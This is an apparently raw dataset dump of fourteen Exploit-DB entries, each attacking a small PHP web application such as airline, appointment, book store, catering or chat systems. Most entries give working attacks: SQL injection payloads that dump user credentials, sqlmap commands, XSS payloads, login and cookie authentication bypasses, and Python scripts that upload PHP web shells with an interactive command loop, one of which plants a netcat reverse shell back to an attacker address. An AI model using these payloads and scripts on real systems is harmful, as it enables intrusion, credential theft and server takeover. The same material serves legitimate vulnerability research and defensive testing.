deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39167
Description: Online Airline Booking System - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-01-05
Author: Manish Tanwar

Exploit:
Exploit Title : Online Airline Booking System multiple vulnerabilities
Author         : WICS
Date             : 05/1/2016
Software Link  : http://sourceforge.net/projects/oabs/
Affected Version: All
 
 
Overview:
 
 
The Online Airline Booking System is designed to be an all in one solution for an airline wishing to speed up and save money compared to a traditional booking system. It consists simply of a server-side web application combined powerful backend database to provide the user with a highly accessible system
 
 1. Authentication Bypass
 
Vulnerability exist in admin panel authentication mechanism due to use of $_COOKIE['LoggedIn'] , as $_COOKIE variable can be manipulated by user 
so any user can login to admin panel without knowing username password
line no. 2          if(!isset($_COOKIE['LoggedIn'])) die("You are not logged in!");

Just set cookie value LoggedIn=yes in request header and web application will let you login.
like this 
Cookie: LoggedIn=yes

2. Application Reinstallation
 
install.php is the page which can be used for application reinstallation.
open link 
application/install.php

a form will appear, first text field is for new admin username and second field is for new password of web application
proceed with installation and web application will setup with new attacker supplied admin username password
Exploit-DB #47366
Description: Online Appointment - SQL Injection
Type: webapps
Platform: php
Date: 2019-09-09
Author: mohammad zaheri

Exploit:
# Exploit Title: Online Appointment SQL Injection 
# Data: 07.09.2019
# Exploit Author: mohammad zaheri
# Vendor HomagePage: https://github.com/girish03/Online-Appointment-Booking-System
# Tested on: Windows
# Google Dork: N/A


=========
Vulnerable Page:
=========
Online-Appointment-Booking-System-master/signup.php


==========
Vulnerable Source:
==========
Line 52: $name=$_POST['fname'];
Line 53: $gender=$_POST['gender'];
Line 54: $dob=$_POST['dob']; 
Line 55: $contact=$_POST['contact'];
Line 56: $email=$_POST['email'];
Line 57: $username=$_POST['username'];
Line 58: $password=$_POST['pwd'];
Line 59: $prepeat=$_POST['pwdr'];
Line 62: if (mysqli_query($conn, $sql)) 

=========
POC:
=========
http://site.com/Online-Appointment-Booking-System-master/signup.php?sql=[SQL]



=========
Contact Me :
=========
Telegram : @m_zhrii
Email : neoboy503@gmail.com
Exploit-DB #51337
Description: Online Appointment System V1.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-08
Author: Sanjay Singh

Exploit:
# Exploit Title: Online Appointment System V1.0 - Cross-Site Scripting (XSS)
# Date: 25/02/2023
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14502/online-appointment-system-php-full-source-code-2020.html
# Tested on: Windows

use payload="><script>alert(XSS)</script>

1.	visit-http://localhost/doctor/applicationlayer/Doctorpatient.php

2.	login Doctor account with default credential

3.	Click left side add description

4.	capture request and put payload 

http://localhost/doctor/presentaionlayer/doctor/add.php/wrycv%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E



request

GET /doctor/presentaionlayer/doctor/add.php/wrycv%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ocj11iinu8pn536i3cdia0faql
Connection: close
Exploit-DB #51524
Description: Online Art gallery project 1.0 - Arbitrary File Upload (Unauthenticated)
Type: webapps
Platform: php
Date: 2023-06-15
Author: Ramil Mustafayev

Exploit:
# Exploit Title: Online Art gallery project 1.0 - Arbitrary File Upload (Unauthenticated)
# Google Dork: n/a
# Date: 14/06/2023
# Exploit Author: Ramil Mustafayev
# Vendor Homepage: https://github.com/projectworldsofficial
# Software Link: https://github.com/projectworlds32/Art-Gallary-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP for Windows 8.0.28 / PHP 8.0.28
# CVE : n/a

# Vulnerability Description:
#
# Online Art Gallery Project 1.0 allows unauthenticated users to perform arbitrary file uploads via the adminHome.php page. Due to the absence of an authentication mechanism and inadequate file validation, attackers can upload malicious files, potentially leading to remote code execution and unauthorized access to the server.
# Usage: python exploit.py http://example.com

import requests
import sys

def upload_file(url, filename, file_content):
    files = {
        'sliderpic': (filename, file_content, 'application/octet-stream')
    }

    data = {
        'img_id': '',
        'sliderPicSubmit': ''
    }
    url = url+"/Admin/adminHome.php"
    try:
        response = requests.post(url, files=files, data=data)
    except:
        print("[!] Exploit failed!")
    
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python exploit.py <target_url>")
        sys.exit(1)

    target_url = sys.argv[1]
    file_name = "simple-backdoor.php"
    file_content = '<?php system($_GET["c"]);?>'

    upload_file(target_url, file_name, file_content)
    print("[+] The simple-backdoor has been uploaded.\n Check following URL: "+target_url+"/images/Slider"+file_name+"?c=whoami")
Exploit-DB #50089
Description: Online Birth Certificate System 1.1 - 'Multiple' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-05
Author: Subhadip Nag

Exploit:
# Exploit Title: Online Birth Certificate System 1.1 - 'Multiple' Stored Cross-Site Scripting (XSS) 
# Date: 03 July 2021
# Exploit Author: Subhadip Nag
# Author Linkedin: www.linkedin.com/in/subhadip-nag-09/
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/
# Version: 1.1
# Tested on: Server: XAMPP

# Description #

Online Birth Certificate System 1.1 is vulnerable to stored cross site scripting (xss) in the registration form because of insufficient user supplied data.


# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/OBCS/obcs/user/register.php
2) In the first name field, enter the payload: <script>alert(1)</script>
3) Click Register
4) Goto: http://localhost/OBCS/obcs/user/login.php
5) Enter your mobile number, password & click login
6) our XSS attack successfull

# PoC image
1) https://ibb.co/7C6g6nK
Exploit-DB #47922
Description: Online Book Store 1.0 - 'bookisbn' SQL Injection
Type: webapps
Platform: php
Date: 2020-01-15
Author: Ertebat Gostar Co

Exploit:
# Exploit Title: Online Book Store 1.0 -  'bookisbn' SQL Injection
# Google Dork: N/A
# Date: 2020-01-15
# Exploit Author: AmirHadi Yazdani (Ertebat Gostar Co.)
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

-------------- Vulnerable code in book.php ( Line 1-25) -----------------------------------------------
  $book_isbn = $_GET['bookisbn']; // vulnerable param 
  // connecto database
  require_once "./functions/database_functions.php";
  $conn = db_connect();

  $query = "SELECT * FROM books WHERE book_isbn = '$book_isbn'"; // Injectable Point
  $result = mysqli_query($conn, $query);
  if(!$result){
    echo "Can't retrieve data " . mysqli_error($conn);
    exit;
  }

  $row = mysqli_fetch_assoc($result);
  if(!$row){
    echo "Empty book";
    exit;
  }

  $title = $row['book_title'];
  require "./template/header.php";
?>
      <!-- Example row of columns -->
      <p class="lead" style="margin: 25px 0"><a href="books.php">Books</a> > <?php echo $row['book_title']; ?></p> // results goes here
-------------------------------------------------------------------------------------------------------------------

Exploit POC :

# Parameter: bookisbn (GET)
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)

#Payload: 
http://site.com/book.php?bookisbn=123' AND (SELECT 9724 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(9724=9724,1))),0x71717a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.Tables GROUP BY x)a) AND 'aJYp'='aJYp

-----------------------
Other Vulnerable Pages with Same vulnerability  :

[PAGE :bookPerPub.php], [PARAM : pubid ], [Method : GET], [Vulnerable Code : Line 6 & Line 16]

[PAGE :edit_book.php], [PARAM : publisher ], [Method : POST], [Vulnerable Code : Line 13 & Line 27 & Line 31]

[PAGE :checkout.php , Function : getBookByIsbn , Defined in database_functions.php], [PARAM : $isbn ], [Method : SESSION], [Vulnerable Code : Line 30 & Line 26 in database_functions.php]

and other pages .... :)

Also you can have more fun with Other XSS bugs too :)
----
Exploit-DB #48775
Description: Online Book Store 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-08-31
Author: Moaaz Taha

Exploit:
# Title: Online Book Store 1.0 - 'id' SQL Injection
# Exploit Author: Moaaz Taha (0xStorm)
# Date: 2020-08-21
# Vendor Homepage: https://www.sourcecodester.com/php/14383/online-book-store.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14383&title=Online+Book+Store
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4
# Description
This parameter "id" is vulnerable to Union-Based blind SQL injection in this path "/online%20book%20store/detail.php?id=44" that leads to retrieve all databases.

#POC
sqlmap -u "http://TARGET/online%20book%20store/detail.php?id=44" -p id --dbms=mysql --threads=10 --technique=U --dbs
Exploit-DB #47928
Description: Online Book Store 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-01-16
Author: Or4nG.M4N

Exploit:
# Exploit Title: Online Book Store 1.0 - Arbitrary File Upload 
# Google Dork: N/A
# Date: 2020-01-16
# Exploit Author: Or4nG.M4n aka S4udiExploit 
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: MY MIND v1.23.45
# CVE: N/A
# WWW . SEC4EVER . COM
 -> hola amigos ^.^
 -> just copy this html code 
 <form method="post" action="http://TARGET/edit_book.php" enctype="multipart/form-data">
				<td><input type="text" name="isbn" value="978-1-49192-706-9" readOnly="true"></td>
				<td><input type="text" name="author" value="Or4nG.M4n aka S4udiExploit" required></td>
				<td><input type="file" name="image"></td>
		    <input type="submit" name="save_change" value="Change" class="btn btn-primary">		
	</form>
 -> after you upload your'e file u will find it here /store/bootstrap/img/[FILE].php
# i think am back %^_^% 
# i-Hmx , N4ssim , Sec4ever , The injector , alzher , All the Member of Sec4ever.com
# big thanks to Stupid Coder ^.^
Exploit-DB #47887
Description: Online Book Store 1.0 - Unauthenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-01-08
Author: Tib3rius

Exploit:
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')
Exploit-DB #5964
Description: Online Booking Manager 2.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-28
Author: Hussin X

Exploit:
#########################################################
#
#    Online Booking Manager2.2 (id=) SQL Injection Vulnerability
#
#########################################################
#
#    Author: Hussin X
#
#    Home :  www.tryag.cc/cc
# 
#    email:  darkangel_g85[at]Yahoo[DoT]com
#            hussin.x[at]hotmail[DoT]com
#
#                     IRAQI
#
##########################################################
#    HomE script : http://www.onlinebookingmanager.com
#                
#           demo : http://demo.onlinebookingmanager.com/guestside/
#     
##########################################################
#
#    DorK : Online Booking Manager2.2
#
##########################################################

Exploit:   


http://www.site.com/obmp22/checkavail.php?ln=en&id=-1+union+select+concat_ws(0x3a,UserName,UserPassword)+from+users--




L!VE DEMO:


http://demo.onlinebookingmanager.com/adminside/hotel/obm2.2/checkavail.php?ln=en&id=-1+union+select+concat_ws(0x3a,UserName,UserPassword)+from+users--




Login AdmiN :



/adminside/systemadmin/


####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      
#                          Silic0n/ FAHD / Iraqihack                           #      
#                                                                              #
#################################(and All IRAQIs)###############################

# milw0rm.com [2008-06-28]
Exploit-DB #49212
Description: Online Bus Ticket Reservation 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2020-12-08
Author: Sakshi Sharma

Exploit:
# Exploit Title: Online Bus Ticket Reservation 1.0 - SQL Injection
# Date: 2020-12-07
# Exploit Author: Sakshi Sharma
# Vendor Homepage: https://www.sourcecodester.com/php/5012/online-bus-ticket-reservation-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/busreservation.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


#Vulnerable Page: admin page

#Exploit
	Open the Application
	check the URL:
	http://localhost/busreservation/index.php
	Open Admin Login
	Enter username: 'or"='
	Enter password: 'or"='
	click on login
The SQL payload gets executed and authorization is bypassed successfully
Exploit-DB #49603
Description: Online Catering Reservation System 1.0 - Remote Code Execution (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-03-01
Author: Christian Vierschilling

Exploit:
# Exploit Title: Online Catering Reservation System 1.0 - Unauthenticated Remote Code Execution
# Date: 28-02-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11355/online-catering-reservation.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

#The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'id': '1337', 'menu':'PWN', 'cat': '1337', 'subcat':'PWN','desc':'PWN','price':'13.37', 'image': (random_file_name, revshell_string, 'application/x-php'),'update':''})
  print("(+) Uploading php reverse shell..")
  r1 = requests.post('http://{}/reservation/admin/menu_update.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if "Successfully updated menu details!" in r1.text:
    print("(+) File upload seems to have been successful!")
    return random_file_name
  else:
    print("(-) Oh no, file upload seems to have failed.. quitting.")
    exit()

def trigger_shell(target_ip, filename):
  url = 'http://{}/reservation/images/{}'.format(target_ip, filename)
  print("(+) Now trying to trigger our shell by requesting {} ..".format(url))
  r2 = requests.get(url)
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  uploaded_filename = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, uploaded_filename)
  print("\n(+) done!")

if __name__ == "__main__":
  main()
Exploit-DB #48480
Description: online Chatting System 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-05-18
Author: BKpatron

Exploit:
# Exploit Title: online Chatting System 1.0 - 'id' SQL Injection
# Google Dork: N/A
# Date: 2020-05-17
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14224/online-chatting-system-using-phpmysql.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinechatting.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Discription:
 The online Chatting System v1.0 application is vulnerable to SQL injection via the 'id' parameter on the chatroom.php page.
# vulnerable file : chatroom.php
http://localhost/chat_system/user/chatroom.php?id=5

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=5' AND 2674=2674 AND 'NdtA'='NdtA

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=5' AND (SELECT 8144 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OIwS'='OIwS

    Type: time-based blind
    Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
    Payload: id=5' AND 4648=BENCHMARK(5000000,MD5(0x67644874)) AND 'oSJd'='oSJd
---
[INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
# Proof of Concept:
http://localhost/chat_system/user/chatroom.php?id=5

GET /chat_system/user/chatroom.php?id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mstb1630gvh0f97me7qdh5f7ke
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS
Exploit-DB #41516
Description: Online Cinema and Event Booking Script 2.01 - 'newsid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Online Cinema and Event Booking Script v2.01 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/online-cinema-and-event-booking-script/
# Demo: http://theaterbookingscript.com/demo/events-movie/
# Version: 2.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/news_desc.php?newsid=[SQL]
# For example;
# -7'+/*!50000union*/+select+1,0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,3,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),5,6-- -
# users :user_id
# users :email
# users :user_name
# users :password
# users :mobile
# users :country
# users :state
# -7'+/*!50000union*/+select+1,0x496873616e2053656e63616e3c62723e7777772e696873616e2e6e6574,3,/*!13337Concat*/(user_name,0x3a,password),5,6+from+users-- -
# # # # #